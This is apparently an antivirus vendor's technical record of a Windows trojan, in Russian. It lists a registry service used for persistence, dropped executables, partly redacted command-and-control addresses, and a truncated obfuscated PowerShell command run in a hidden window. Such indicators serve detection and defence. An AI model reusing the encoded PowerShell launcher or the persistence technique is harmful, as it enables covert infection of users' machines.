Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\SetIEInstalledDate] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\SetIEInstalledDate] 'ImagePath' = '"<SYSTEM32>\bitsigd\SetIEInstalledDate.exe"'
- 'SetIEInstalledDate' "<SYSTEM32>\bitsigd\SetIEInstalledDate.exe"
- 'SetIEInstalledDate' <SYSTEM32>\bitsigd\SetIEInstalledDate.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABCAHcAagBoAHAAcABjAD0AKAAnAE8AZgAnACsAKAAnAHUAOAB4ADkAJwArACcAegAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAGUAcgBQAFIAbwBmAGkATABlAFwAWQB0AF8AeQA1AG...
- %HOMEPATH%\yt_y5jn\nkmzfvz\sp3k7gus.exe
- <SYSTEM32>\bitsigd\setieinstalleddate.exe
- %HOMEPATH%\yt_y5jn\nkmzfvz\sp3k7gus.exe в <SYSTEM32>\bitsigd\setieinstalleddate.exe
- '50.##1.220.50':80
- http://si######odeseguridad.com/_borders/lXe/
- http://50.##1.220.50/W2Iwuoy/7FTx1/QgDZ/rBLqUsbo8oF5YfrvTN/waem7lYMk5teI56/b8cWMf0QmeS/
- DNS ASK si######odeseguridad.com
- '%HOMEPATH%\yt_y5jn\nkmzfvz\sp3k7gus.exe'
- '<SYSTEM32>\bitsigd\setieinstalleddate.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABCAHcAagBoAHAAcABjAD0AKAAnAE8AZgAnACsAKAAnAHUAOAB4ADkAJwArACcAegAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAGUAcgBQAFIAbwBmAGkATABlAFwAWQB0AF8AeQA1AG...' (со скрытым окном)